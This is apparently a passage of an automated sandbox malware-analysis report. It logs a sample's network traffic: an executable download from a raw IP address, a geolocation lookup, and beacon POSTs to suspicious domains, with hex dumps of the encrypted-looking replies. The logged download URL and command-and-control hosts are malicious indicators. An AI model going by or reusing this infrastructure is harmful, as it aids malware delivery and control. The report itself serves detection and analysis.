Source: global traffic	HTTP traffic detected: GET /288c47bbc187111b439df19ff4df68f076.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 5.42.66.0
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: 4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: www.google.com,www.mit.edu,www.yahoo.com,www.slashdot.org equals www.yahoo.com (Yahoo)
Source: 4577.exe, 00000018.00000002.2991206454.0000000002815000.00000004.00000020.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2993994640.0000000002812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.yahoo.com equals www.yahoo.com (Yahoo)
Source: 4577.exe, 00000018.00000002.2991206454.0000000002815000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.yahoo.com} equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: selebration17io.io

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drownthinsaltroutese.pw

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:29:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 38 0d 0a 04 00 00 00 1f 3d 5a e4 0d 0a 30 0d 0a 0d 0a Data Ascii: 8=Z0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:29:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 c5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 48 93 80 40 51 0c 96 29 fd 5c 6d e5 21 cf b1 26 ad 77 14 07 ef f1 5c 2f 37 bb 0c a4 59 3f b7 e6 06 60 f7 90 aa 17 d3 91 53 98 a8 e9 86 3d d5 2b d6 52 a9 aa ce 6e b9 fd f4 f7 7f 08 00 b6 5f 96 43 35 30 ce 1a fe c9 80 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 63 0a 62 3e 59 20 03 5a a8 c3 1c 0c 56 3f cb 00 23 be 42 15 37 07 51 72 f1 ca 16 94 1d 79 52 2b e5 fd a3 7b 7e e8 ee ff 7f af 55 db c4 1d 13 13 bf 9e e1 92 24 08 4f d5 03 b1 cb a1 61 6e de f5 6c b9 19 17 7e 5f af 9a a0 44 c9 a0 c1 b9 dd 7a 0d 60 6e 19 e0 3c 95 a9 52 0d d4 96 bc 25 50 e1 9a d4 2e 7c 88 38 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 7b ac 97 2f bd 61 05 c0 5d bf 20 34 fd f8 0e e8 33 6c b9 7d 0a 8d c7 7d c4 0e cc fb 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 37 22 4c f9 7b ad f3 d7 93 28 b9 6e ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af 6b d9 55 65 ae ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b aa 93 58 1e 85 8a 64 b1 ce 59 12 51 8c 60 17 4b 81 1b df 8e 82 11 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 54 c3 cb 49 5a 5e 90 39 7f 54 ab 1e 29 73 11 ee c3 4e 57 a3 4c 0d 85 1f d4 dc 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 a0 7d 10 df 3e dd b8 c4 f8 07 99 8a fd 9a 7f 74 79 c0 6d 43 cc 39 8b 8b e1 f2 7a d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 df 94 a1 aa 7a 8f f6 6b e3 4a c1 d9 37 00 90 e2 1c c9 00 f5 52 48 d4 3b 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 43 eb ac 58 35 21 41 99 d6 cf 25 2e 17 87 ce ec 35 a8 c2 a7 0d 88 ca d4 5f 19 42 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 81 c4 a1 f3 0b 3e 88 fd c3 e8 c8 2f e1 c6 16 e8 8b 73 1f ac 18 88 68 b3 0e c3 80 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 53 e8 b8 0c 6b 90 94 12 f9 22 d9 ed 6f a2 52 dc 1a 1e ab 18 57 01 01 7d 42 83 a1 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 33 0f b6 25 8c 57 7a 14 0f 5b 30 5f a4 e7 b8 78 fe 11 ae 98 6d 48 5e 32 d0 49 d3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 11 20 b2 7f db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:29:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:29:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 0b d4 0c 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 e5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 93 0e 17 28 47 49 7e ae e9 bb 65 74 a3 47 3c 58 12 00 c6 ab b6 bc ec 4d 89 5f 15 af d4 d9 25 ff a3 40 3c 72 9b 63 c1 e8 12 ec ee 42 da fb 24 16 a6 67 4c 01 e2 55 70 9d 9e 6e bd af 63 a3 17 5e b9 61 c5 f6 8a 41 d2 60 54 68 56 42 01 e2 38 ae bf a1 67 99 fc d6 8d 86 db d6 1a 13 33 af a5 ac dd 6c ec bb 34 ed 07 ff b1 ba 6b 77 e5 4e 30 27 57 d1 50 ac db 35 2a 6f c1 c7 25 61 dd c8 2b cc 95 42 ac f5 03 23 f2 bb d4 d8 d7 d6 79 ac f0 b8 87 c8 e2 f6 1d a9 b3 a6 47 92 71 d7 21 7d 33 9e df c1 fa cb 1f 9e 1d 09 52 2b b5 c8 83 7b 32 44 f3 ff 3f a8 57 80 c4 0d 13 13 bf 1e e1 92 c4 08 4c c4 08 a0 c5 b1 61 3c dc f5 69 25 18 17 7e 5f af 9a 03 e4 c8 a0 c1 a9 dd 7a 0d f0 4c 19 e0 2c d5 a9 18 0a f5 96 be 27 51 61 9c d4 3e 7c 88 28 c8 48 6d a1 c0 4a 9a 03 fd ec 9e ba 7f ac 87 2b bd 61 cb 00 4e bf 45 34 fd 79 12 6c 23 6c 29 6c 0a 8d c7 fd f4 0e a4 fb 7e 71 eb 80 f5 1a 78 9b 4a d8 19 ae cc 4f 3b 79 82 ae d0 76 00 4c c1 56 ad f3 57 5b 29 b9 4e 4a cc 23 b2 75 0e 31 79 92 90 f7 6d a5 ff e7 b2 1a 4c 80 d0 12 f9 13 63 11 bb d6 9f e3 3e 27 80 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 df b6 79 39 26 e7 ac 04 28 84 42 40 77 9b c7 9b 84 87 3f 66 35 89 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 8b fa d2 63 1b c3 cb 29 e3 69 e5 5b 1e 44 ab 1e 26 3f 13 ee c3 ca 57 a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 0c 5e ae 63 75 97 7b 85 d2 1c 10 9f 1a 2f d9 b0 99 67 9b 8a cd 7c 7f 74 79 16 6f 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 6b a9 b4 fb 2f 1e 76 5c b3 ae 46 1f 24 fd aa 7a 8f f6 68 e3 cd c0 d9 37 00 5e e1 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 7f dc e5 be 63 d4 03 a6 60 eb ac 98 4a ca 0f ca 82 af 26 2e 9f 30 ce ec 35 76 c1 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 58 3a 1d b8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:29:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:29:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 56 2b 1c ad 9c 18 7e 45 f7 ff 78 8d 55 db 24 0d 10 12 b4 1f e8 92 24 32 53 c5 03 5f 89 a1 61 7e de f5 b1 a7 19 17 7e 4f af 9a a5 14 d5 a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f5 96 be 25 51 61 9f d4 3e 7c 88 28 c8 48 6b b1 9f 4a 9a 07 fd ec 14 03 66 ac 85 2f bd e1 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 b1 dd d0 4f 5f 79 82 ae 9c 07 5c 4c 9d 2e ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 60 43 e5 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 fa 63 e3 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 d4 5e 40 03 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 58 b7 ab 1b 6f d3 cb 29 32 12 fb 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 5b 62 90 58 3f ae 03 39 c9 1f e4 a6 2d 0c 9f 10 97 d9 b0 99 39 85 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 97 b2 ec a2 94 4a a9 b4 bb b9 7e 55 28 d2 2e 5a 1f d0 b7 aa 7a 8f 9a 77 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a 56 63 b9 94 65 5c dc e5 7e a5 de 70 d4 03 7b f2 98 76 14 0f ca 82 4d 39 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 03 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:29:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:29:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 11 fc f0 bc e1 c8 f6 c7 35 f3 73 07 03 d2 ff f9 d6 fb eb b2 d9 71 cd f5 7e 33 d1 22 71 45 7c 1f 57 44 f3 09 f3 3c 50 15 51 fe 08 22 f7 7f 18 66 7d 28 2a a7 6a dd d6 bc db 43 15 5c 53 a6 cd f6 4d 55 60 91 54 5b fd 55 19 d0 ed 85 20 b1 17 20 58 4a cf 89 32 3e 17 21 4b df a3 06 83 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 0d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 48 6c 18 db 8f 0d 13 13 bf 1e af 92 a4 4e 4d c5 03 a1 cb a1 61 7e de f5 71 ed 49 17 0e 11 af 9a a5 24 99 a0 cd b9 dd 7a de 70 03 19 fc 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 4c 33 6c 21 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 e3 a0 f5 1a 20 9b 4a d8 19 ae cc 4f 3b 79 82 ae b2 e3 67 34 01 56 ad f3 d3 fa 67 b9 72 ce cc 23 b2 b7 43 31 79 90 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 43 11 bb b6 81 43 4f 55 b7 69 b7 9f b3 8f ce 46 d9 48 5b ac af a3 db 55 3d 6b f7 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 26 e7 ac 44 06 f6 27 2c 18 f8 c7 9b 88 e7 3d 66 f1 ea 34 b1 1d 32 12 51 8c 7c 47 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 54 17 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 1e 54 ab 1e 46 9c 5c ee c3 ce 57 a3 04 1d 85 1f d6 5c 6d 91 0c b4 1c f1 5c f5 a0 03 58 e5 1f e4 2f 7d 10 99 10 f0 f0 b0 c3 96 bd 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a 8f f6 6b e3 de e0 da 37 39 80 e3 1c c8 20 f5 43 60 c6 3a 96 4b f3 e7 17 3f dc e7 56 5a a6 70 de 23 eb ac 98 76 79 35 c5 82 cf 25 08 a7 93 ce ec 35 a0 19 58 f2 57 34 d8 5f 29 06 42 9c 55 03 67 18 3a 1d c0 40 aa ae 88 eb c4 a1 33 3b 7d f2 ce ed e8 ce 05 ed 9c 08 e8 8b 27 0a 52 19 92 77 b3 14 ed 80 19 13 8c 93 8c e6 28 94 52 f9 c1 ea 9e 12 e8 b8 5d 6d 86 de 73 8b 7b d9 ed 07 b2 52 de 32 86 8b 18 5d 01 01 7d 42 03 96 af 6b d8 2e 27 bb ff 3c 42 56 60 e6 97 73 0f b6 5d 76 da e0 87 9e 34 30 5f 93 a7 b8 78 fe b4 8e 98 6d 20 5e 32 d0 e9 f3 18 64 bc 3b 16 12 43 1f 17 16 3a 8d e3 4b 5e b0 3d db 14 7e 5a 04 2c 5f 5a d1 b3 19 5f 10 8f 69 e8 c4 3a 2a 01 6e 0f f3 58 b3 e4 95 25 1c 90 ad 7e 5e 15 76 b3 01 82 e3 97 c2 01 6d 2b d3 85 bc 45 cf 76 62 b5 45 e1 05 b0 d4 9c 97 4a 60 10 3a ab 8b 94 e5 fe fc dd 2b c8 6e df 0d 49 ad fb 95 45 6d 17 ee f3 b9 bd 25 98 1e 5d 1c a4 a9 58 5d 1c 41 26 c8 98 2d 37 a3 af ac d3 74 26 d1 e4 dd 8a 94 95 3f 71 de 8a bb 9a 0f f1 73 92 ae 0b 07 d0 9c 65 53 43 f7 32 b7 9c c9 ea a2 8f 82 a4 9e a4 31 34 4
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 07 Jan 2024 04:29:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 